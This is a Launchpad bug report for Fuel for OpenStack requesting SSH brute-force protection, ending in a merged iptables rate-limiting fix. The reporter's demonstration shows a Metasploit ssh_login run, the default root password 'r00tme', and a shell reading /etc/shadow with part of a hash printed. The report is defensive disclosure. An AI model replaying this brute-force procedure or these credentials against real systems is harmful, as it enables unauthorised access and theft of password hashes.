ssh brute force protection

Bug #1540073 reported by Egor Kotko
256
This bug affects 1 person
Affects Status Importance Assigned to Milestone
Fuel for OpenStack
Fix Committed
Wishlist
Maksim Malchuk
Mitaka
Won't Fix
Wishlist
Maksim Malchuk

Bug Description

Currently the is no any mechanism that will limit unsuccessful ssh_login attempts:

root@kali:~# nmap 10.109.0.2

Starting Nmap 7.01 ( https://nmap.org ) at 2016-01-31 06:57 EST
Nmap scan report for nailgun.test.domain.local (10.109.0.2)
Host is up (0.00031s latency).
Not shown: 989 filtered ports
PORT STATE SERVICE
22/tcp open ssh
 ...

Module options (auxiliary/scanner/ssh/ssh_login):

   Name Current Setting Required Description
   ---- --------------- -------- -----------
   BLANK_PASSWORDS false no Try blank passwords for all use
   BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0
   DB_ALL_CREDS false no Try each user/password couple s
   DB_ALL_PASS false no Add all passwords in the curren
   DB_ALL_USERS false no Add all users in the current da
   PASSWORD no A specific password to authenti
   PASS_FILE no File containing passwords, one
   RHOSTS 10.109.0.2 yes The target address range or CID
   RPORT 22 yes The target port
   STOP_ON_SUCCESS true yes Stop guessing when a credential
   THREADS 10 yes The number of concurrent thread
   USERNAME no A specific username to authenti
   USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt no File containing users and passw
   USER_AS_PASS false no Try the username as the passwor
   USER_FILE no File containing usernames, one
   VERBOSE true yes Whether to print output for all

msf auxiliary(ssh_login) > exploit

[*] 10.109.0.2:22 SSH - Starting bruteforce
[-] 10.109.0.2:22 SSH - Failed: 'root:'
[-] 10.109.0.2:22 SSH - Failed: 'root:!root'
[-] 10.109.0.2:22 SSH - Failed: 'root:Cisco'
[-] 10.109.0.2:22 SSH - Failed: 'root:NeXT'
[-] 10.109.0.2:22 SSH - Failed: 'root:QNX'
[-] 10.109.0.2:22 SSH - Failed: 'root:admin'
[-] 10.109.0.2:22 SSH - Failed: 'root:attack'
[-] 10.109.0.2:22 SSH - Failed: 'root:ax400'
[-] 10.109.0.2:22 SSH - Failed: 'root:bagabu'
[-] 10.109.0.2:22 SSH - Failed: 'root:blablabla'
[+] 10.109.0.2:22 SSH - Success: 'root:r00tme' 'uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfi
0.0-229.20.1.el7.x86_64 #1 SMP Tue Nov 3 19:10:07 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux '
[*] Command shell session 1 opened (10.109.0.9:33246 -> 10.109.0.2:22) at 2016-01-31 07:43:38 -0500
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

msf auxiliary(ssh_login) > sessions

Active sessions
===============

  Id Type Information Connection
  -- ---- ----------- ----------
  1 shell linux SSH root:r00tme (10.109.0.2:22) 10.109.0.9:33246 -> 10.109.0.2:22 (10.109.0.2)

msf auxiliary(ssh_login) > sessions -c "cat /etc/shadow" -i 1
[*] Running 'cat /etc/shadow' on shell session 1 (10.109.0.2)
root:$6$If4BdxhrvU2k1RT.$0GrpofhqjyAajgEJHq0jgn5LAwL8CbMrOpsn14Cux558qxS4z1qlyWJ/ThXhjQKrVGFgG
...

There were the different sizes of file ~100 strings, but no blocks/bans for IPs with big number unsuccessful ssh_login attempts.

Shell we use something like: "Fail2ban"
with reasonable ban time and attempts number options?

Revision history for this message
Maksim Malchuk (mmalchuk) wrote :

Brute force is a most commonly used method to break into the system. As long as people use weak passwords, the bad guys will be always trying to brute force them. Not only for SSH, but we often see brute forces via SMTP, POP, IMAP, FTP, API services or to admin panels (Horizon in our case). Defending against such attacks is very difficult and don't have the common solution, so 'Fail2Ban' is only one of possible solutions and not an ideal because, for example, it can block the normal user login attempts and doesn't have any mechanisms to detect the bad guy.

This is actually not a Fuel bug, but security infrastructure problem. A system administrator should change the standard password during installation of the Fuel, they also can block suspicious remote SSH logins using any kind of firewalls (external or even internal 'iptables'), can configure a different port for the SSH service, or at least successfully disable SSH service at all, or even shutdown and don't use Fuel after successful installation of the OpenStack cluster.

Changed in fuel:
importance: Low → Wishlist
Changed in fuel:
assignee: Fuel Library Team (fuel-library) → Bartłomiej Piotrowski (bpiotrowski)
Changed in fuel:
status: New → Confirmed
Revision history for this message
Bartłomiej Piotrowski (bpiotrowski) wrote :

Egor, do we want full-blown solution for master node like fail2ban, and possibly extend it to block possible attacker from brute-forcing webui, or ssh is enough?

Revision history for this message
Egor Kotko (ykotko) wrote :

I have checked only ssh but if we will protect and webui that would be great - fail2ban was just as one of possible variants.

Changed in fuel:
assignee: Bartłomiej Piotrowski (bpiotrowski) → Fuel Library Team (fuel-library)
Changed in fuel:
assignee: Fuel Library Team (fuel-library) → Maksim Malchuk (mmalchuk)
Changed in fuel:
status: Confirmed → In Progress
tags: added: keep-in-9.0
Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to fuel-library (master)

Fix proposed to branch: master
Review: https://review.openstack.org/298846

Revision history for this message
Maksim Malchuk (mmalchuk) wrote :

the result of work:

msf auxiliary(ssh_login) > exploit

[*] 10.20.0.2:22 SSH - Starting bruteforce
[-] 10.20.0.2:22 SSH - Failed: 'root:123456'
[-] 10.20.0.2:22 SSH - Failed: 'root:12345'
[-] 10.20.0.2:22 SSH - Failed: 'root:123456789'
[-] 10.20.0.2:22 SSH - Could not connect: The connection timed out (10.20.0.2:22).
[-] 10.20.0.2:22 SSH - Could not connect: The connection timed out (10.20.0.2:22).
[-] 10.20.0.2:22 SSH - Could not connect: The connection timed out (10.20.0.2:22).
[*] Scanned 1 of 1 hosts (100% complete)

Revision history for this message
Maksim Malchuk (mmalchuk) wrote :
information type: Public → Public Security
Dmitry Pyzhov (dpyzhov)
tags: added: area-library
Revision history for this message
Dmitry Pyzhov (dpyzhov) wrote :

Do we really need this feature? What we need is to suggest user to disable password authentication after master node deployment.

Changed in fuel:
milestone: 9.0 → 10.0
Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to fuel-menu (master)

Fix proposed to branch: master
Review: https://review.openstack.org/303523

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix merged to fuel-menu (master)

Reviewed: https://review.openstack.org/303523
Committed: https://git.openstack.org/cgit/openstack/fuel-menu/commit/?id=537c10fbbe58b4a922541633cf6646e7afbe2554
Submitter: Jenkins
Branch: master

commit 537c10fbbe58b4a922541633cf6646e7afbe2554
Author: Maksim Malchuk <email address hidden>
Date: Fri Apr 8 18:59:09 2016 +0300

    Pass 'ssh_network' to 'astute.yaml' during save-only

    The correct 'astute.yaml' should be saved for automated deployments.

    Change-Id: I06161e8d819e40bc5827b3fda7f614c0ea5d4fd3
    Partial-Bug: #1557190
    Partial-Bug: #1540073
    Signed-off-by: Maksim Malchuk <email address hidden>

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to fuel-menu (stable/mitaka)

Fix proposed to branch: stable/mitaka
Review: https://review.openstack.org/304007

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix merged to fuel-menu (stable/mitaka)

Reviewed: https://review.openstack.org/304007
Committed: https://git.openstack.org/cgit/openstack/fuel-menu/commit/?id=acb168f2dfc66ccfce80f5ff2a8823423930e11f
Submitter: Jenkins
Branch: stable/mitaka

commit acb168f2dfc66ccfce80f5ff2a8823423930e11f
Author: Maksim Malchuk <email address hidden>
Date: Fri Apr 8 18:59:09 2016 +0300

    Pass 'ssh_network' to 'astute.yaml' during save-only

    The correct 'astute.yaml' should be saved for automated deployments.

    Change-Id: I06161e8d819e40bc5827b3fda7f614c0ea5d4fd3
    Partial-Bug: #1557190
    Partial-Bug: #1540073
    Signed-off-by: Maksim Malchuk <email address hidden>
    (cherry picked from commit 537c10fbbe58b4a922541633cf6646e7afbe2554)

tags: added: in-stable-mitaka
Revision history for this message
Dmitry Pyzhov (dpyzhov) wrote :

We passed SCF for 9.0. Moving the medium priority bug to 10.0 release.

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix merged to fuel-library (master)

Reviewed: https://review.openstack.org/298846
Committed: https://git.openstack.org/cgit/openstack/fuel-library/commit/?id=b5e7b566e1510975f0751e1690282803cd54ad6b
Submitter: Jenkins
Branch: master

commit b5e7b566e1510975f0751e1690282803cd54ad6b
Author: Maksim Malchuk <email address hidden>
Date: Tue Mar 29 18:50:16 2016 +0300

    SSH brute force protection

    To block a SSH brute force attack, we just need to slow down the
    flow of requests. We can do this by rate-limiting requests to SSH
    with iptables. The benefit of using iptables to block SSH attacks
    is you don’t need any added software so we can easily support this
    solution.

    This change will block an IP if it attempts more than 3 connections
    per minute (60 seconds) to SSH. These parameters are configurable.
    Also, this protection would be enabled only if an empty ssh_network
    (set to 0.0.0.0/0 which means world-wide open) is provided.

    All SSH brute-force attempts blocked only on non-admin interface,
    because automated Fuel deployment via fuel-devops or fuel-virtualbox
    scripts are doing many connections during the installation process.

    All SSH brute-force connections are logged by default.

    DocImpact
    Depends-On: I06161e8d819e40bc5827b3fda7f614c0ea5d4fd3
    Change-Id: I0f452c8b0a808789aa4c2cd85d1d00556b210a39
    Closes-Bug: #1540073
    Signed-off-by: Maksim Malchuk <email address hidden>

Changed in fuel:
status: In Progress → Fix Committed
To post a comment you must log in.
This report contains Public Security information  
Everyone can see this security related information.

Other bug subscribers

Remote bug watches

Bug watches keep track of this bug in other bug trackers.